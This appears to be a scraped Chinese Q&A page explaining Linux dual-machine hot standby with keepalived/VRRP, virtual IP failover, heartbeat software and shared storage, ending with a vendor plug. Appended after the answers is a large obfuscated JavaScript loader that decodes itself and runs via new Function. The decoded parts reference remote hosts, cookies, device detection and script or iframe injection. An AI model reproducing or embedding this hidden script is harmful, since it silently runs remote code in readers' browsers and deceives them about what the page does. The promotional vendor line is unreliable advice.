推荐回答(4个)
通常说的双机热备是指两台机器都在运行,但并不是两台机器都同时在提供服务。
当提供服务的一台出现故障的时候,另外一台会马上自动接管并且提供服务,而且切换的时间非常短。
下面来以keepalived结合tomcat来实现一个web服务器的双机热备过程:
keepalived的工作原理是VRRP虚拟路由冗余协议。
在VRRP中有两组重要的概念:VRRP路由器和虚拟路由器,主控路由器和备份路由器。
VRRP路由器是指运行VRRP的路由器,是物理实体,虚拟路由器是指VRRP协议创建的,是逻辑概念。一组VRRP路由器协同工作,共同构成一台虚拟路由器。Vrrp中存在着一种选举机制,用以选出提供服务的路由即主控路由,其他的则成了备份路由。
当主控路由失效后,备份路由中会重新选举出一个主控路由,来继续工作,来保障不间断服务。
两台物理服务器和一个虚拟服务器(vip):master:redhat2.6.18-53.el5192.168.8.4;backup:redhat2.6.18-53.el5192.168.8.6;vip:192.168.8.100。
节点A192.168.8.4(主节点),节点B192.168.8.6(备用节点),虚拟IP(对外提供服务的IP192.168.8.100)
在这种模式下,虚拟IP在某时刻只能属于某一个节点,另一个节点作为备用节点存在。
当主节点不可用时,备用节点接管虚拟IP(即虚拟IP漂移至节点B),提供正常服务。
keepalived的原理可以这样简单理解:
keepalived安装在两台物理服务器上,并相互监控对方是否在正常运行。
当节点A正常的时候:节点A上的keepalived会将下面的信息广播出去:
192.168.8.100这个IP对应的MAC地址为节点A网卡的MAC地址
其它电脑如客户端和NodeB会更新自己的ARP表,对应192.168.8.100的MAC地址=节点A网卡的MAC地址。
当节点A发生故障的时候,节点B上的keepalived会检测到,并且将下面的信息广播出去:
192.168.8.100这个IP对应的MAC地址为节点B网卡的MAC地址
其它电脑如客户端会更新自己的ARP表,对应192.168.8.100的MAC地址=节点B网卡的MAC地址。
扩展资料:
双机热备特指基于active/standby方式的服务器热备。服务器数据包括数据库数据同时往两台或多台服务器执行写操作,或者使用一个共享的存储设备。在同一时间内只有一台服务器运行。
当其中运行着的一台服务器出现故障无法启动时,另一台备份服务器会通过软件诊测(一般是通过心跳诊断)将standby机器激活,保证应用在短时间内完全恢复正常使用。
Keepalived的运行原理是基于VRRP(虚拟路由冗余协议)机制,在VRRP中有两个重要的概念:VRRP路由器和虚拟路由器,主控路由器和备份路由器。
VRRP路由器是一种实体路由器设备,而虚拟路由器则是基于VRRP协议构建的虚拟路由器,是软性的虚拟概念,一组VRRP路由器协同工作,共同构造一台虚拟服务器。
VRRP协议支持一种选举机制,主要用来选出用来提供服务的路由即主控路由,其它的就是备份路由了,当主控路由失效之后,备份路由中重新选出一个主控路由(往往按照设置好的优先级别重新分配),接管主控服务,继续工作,来保证不间断的提供服务。
参考资料:百度百科-双机热备
双机热备份(Hot
Standby)是一种软硬件相结合的高可靠性应用方案。双机热备系统由两台独立的服务器以及相应的控制软件构成,两台服务器在网络中表现为单一的系统,对外表现为一个独立的网络IP,并以单一系统的模式进行控制和管理。该系统将两台服务器的数据和运行状态(包括硬盘数据和内存数据)进行镜像,可以实现两台服务器之间的热备份,并能够做到无缝切换,从而对外提供稳定可靠的服务,实现双机系统的高可用性解决方案。
1.1.2 功能概述
双机热备份系统由相应的应用软件进行控制,操作系统和应用程序安装在两台服务器的系统盘上。每一台服务器分配一个固定的IP地址,此外还指定了一个独立IP地址作为集群IP(cluster
IP),该IP是双机系统对外提供服务的接口。两台服务器一台成为主节点(Primary
Server),另一台成为从节点(Standby
Server),主节点与从节点之间保持固定时间间隔的心跳信号,通过心跳信号实现两个对等系统之间的周期性的握手,从而能够监视对方的运行状态,进行主机及网络的故障检测。
在系统正常情况下,主节点占用系统资源并运行所有的服务,为信息系统提供支持,从节点通过心跳信号监视主节点的运行情况。一旦主节点发生故障(如主机故障,网络故障,软件故障等),从节点就会自动接管(Take
Over)主节点的资源和服务,继续支持信息的运营,从而保证整个双机系统能够不间断的运行(Non-Stop)。主节点在恢复运行后,又可以自动获取资源并取代从节点。
在集群系统的实现方案中双机热备份系统是硬件配置最简单和价格最低廉的解决方案,通常镜像服务的硬件配置需要两台独立的服务器,每台服务器有独立的操作系统硬盘和数据存贮硬盘,每台服务器有提供网络连接功能的网卡,此外还可以有一对完成内部连接和数据镜像功能的网卡。
双机系统的两台服务器拥有共享的数据存储空间(可以是一个数据存储硬盘或一台专门的数据存储服务器)。任何一台服务器在运行服务时,从共享的数据存储空间内读取和存储数据。每台服务器的操作系统和应用程序文件存储在各自的本地存储空间上。
双机热备份系统采用内存镜像的技术,即把两台服务器的数据和运行状态(包括硬盘数据和内存数据)进行镜像。这个技术的优点是所有的应用程序和操作数据在两台服务器上镜像同步,当主节点出现故障时,从节点可以在几乎没有延迟的情况下接管主节点运行的服务,从而实现无缝切换和热备份。该技术的缺点是,由于两台服务器的内存完全一致,当由于系统应用程序带有缺陷而导致系统宕机时,两台服务器会同步宕机。也可以在双机系统中使用第三方生产的磁盘阵列柜,在磁盘阵列柜中安装有磁盘阵列控制卡,阵列柜可以直接将柜中的硬盘配置成为逻辑盘阵。该结构不采用内存镜像技术,因此需要有一定的切换时间,同时由于所有的数据全部存贮在磁盘阵列柜中,当主节点出现故障时,从节点接替主节点,从磁盘阵列柜中读取数据,所以不会产生数据不同步的问题。由于这种方案不需要网络镜像同步,因此这种集群方案服务器的性能要比镜像服务器结构高出很多。双机热备份系统的两台服务器通过内部局域网进行连接,通过周期性的心跳信号保持通信和进行相互监视。两台服务器之间可以采用多种连接方式,可以使用串口线,也可以通过以太网ethernet进行连接,还可以采用并存的多种连接方式实现两台主机的多重互连。如果双机系统有冗余连接,在第一条通信路径失效的情况下,控制软件可以尝试使用第二条通信路径进行连接。因此,为了避免不必要的失效切换,最好建立两种以上独立的物理路径,使用至少两种心跳。双机热备份系统具有配置简单,使用方便,价格低廉等诸多优点,但由于镜像服务器需要采用网络
方式镜像数据,通过镜像软件实现数据的同步,因此需要占用网络服务器的CPU及内存资源,造成服务器的性能有所降低。
本方案仅讨论Redhat
Linux系统下的双机热备份系统的实现,使用的双机控制软件是Linux-HAheartbeat。因此,除了安装操作系统及相关的应用服务程序之外,还需要安装heartbeat控制软件。通过对heartbeat软件的配置,可以把两台服务器分别指定为主节点和从节点,指定心跳信号的时间间隔,指定cluster
IP、子网掩码、广播地址、鉴权方式,还可以设置heartbeat启动的服务,该服务最终由双机系统通过cluster
IP对外提供。
Heartbeat可以最大限度地保护用户端的应用连续性。用户的硬件资源(如网卡),软件资源(如操作系统、数据库管理系统、数据库应用系统、电子邮件系统等)均能处于heartbeat容错软件的保护之下,当这些被保护的资源出现技术故障时, heartbeat容错软件可以随时实施系统资源的切换。因此,heartbeat真正实现了用户硬件或是软件资源发生故障时系统及应用层上的在线热切换。
Heartbeat软件的特点有:
不需增加额外硬件资源,纯软件方式实现双机容错,并且对双机无硬件配置要求。
可支持DB2,Notes、Exchange、SQL
Server、Sybase、Informix、Oracle
、SAP等多种系统的应用层热切换。支持共享磁盘阵列柜和内存镜像等多种方式,给用户提供了选择上的灵活性,同时也能适应各种机型、网络结构、软件平台及应用系统。
占用系统资源较少,不增加网络负荷,并且不会干扰具体应用程序的运行和操作。
真正实现无人值守,全自动地实现系统资源和应用服务的切换。
方案说明
服务器Server
A和Server
B构成双机热备份系统的两台主机,并且分别作为主节点(Primary
Server)和从节点(Standby
Server)。两台主机均运行Linux-HA
heartbeat,该软件成为双机热备系统的控制程序。
两台主机通过串口线、以太网等多种方式进行连接,传送数据和心跳信号,并互相进行状态监视。可以只使用一种连接方式(如以太网连接),但是多种连接方式下的冗余路径可以保证双机连接的可靠性和服务质量。
数据库服务器或磁盘阵列柜是专门的数据存储和共享设备,两台服务器在运行时,均从该设备中读取和存储数据。这种方式可以有效地提高数据传输效率,提高双机热备服务器的系统性能,并且能够保证两台服务器之间的数据同步。
双机备份系统有两种配置方式,分别是“基于系统切换的双机系统”和“基于系统镜像的双机系统”,二者的区别是:
基于系统切换的双机系统仅仅把两台服务器的硬盘数据进行镜像,在主节点失效的情况下,从节点将进行系统一级的切换。该方式不能实现无缝切换,实现的是冷备份。
基于系统镜像的双机系统把两台服务器的硬盘数据和内存数据都进行镜像。为保证完全的内存镜像,两台服务器之间需通过专用连接网段实时地保持一个连续的、双向的镜像进程,该进程确保两台服务器之间的数据同步。一旦故障发生,无论任何一台服务器失效,失效服务器上的数据和应用,将立即切换到另一台服务器上,从而使用户在没有中断的情况下可以继续使用双机系统提供的服务。该方式能够做到无缝切换,实现的是热备份。
本方案描述的heartbeat双机热备份系统是一种基于系统镜像的双机系统,实现方法是,主节点在出现故障的情况下,集群IP地址无缝地切换到从节点,从而客户机对服务器的访问可以由从节点来支持。但是两台服务器之间并没有镜像进程完成彻底的内存镜像,因而主节点在故障时所运行的数据信息不能切换到从节
点,造成数据丢失以及服务中断。所以该方案不是严格意义上的系统镜像,实现的是服务一级的切换,并不能实现实时数据的切换。
连接存储控制器上的网络口,一般有一个默认ip,安装存储管理软件连接这个ip。
在管理软件中创建阵列、磁盘、lun、vol等(例如最后创建了vote、data、fra等卷),然后再配置主机,就是以3650上的HBA的wwn号作为标识(wwn1、wwn2),然后分别配置wwn1、wwn2对vote、data、fra等卷的连接权限,这样两台3650均安装hba驱动和多路径存储的补丁,这样就能实现共享存储。
接下来参考oracle rac的安装手册进行安装配置。
LINUX系统做双机热备还是很繁琐的,其实在这里不会有朋友给您分享方案的,建议您还是选择双机热备供应商比较好,这样可以指定标准的方案,并且还有售后的服务支持,一举多得。睿芸翰林就很不错,您可以进行了解。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();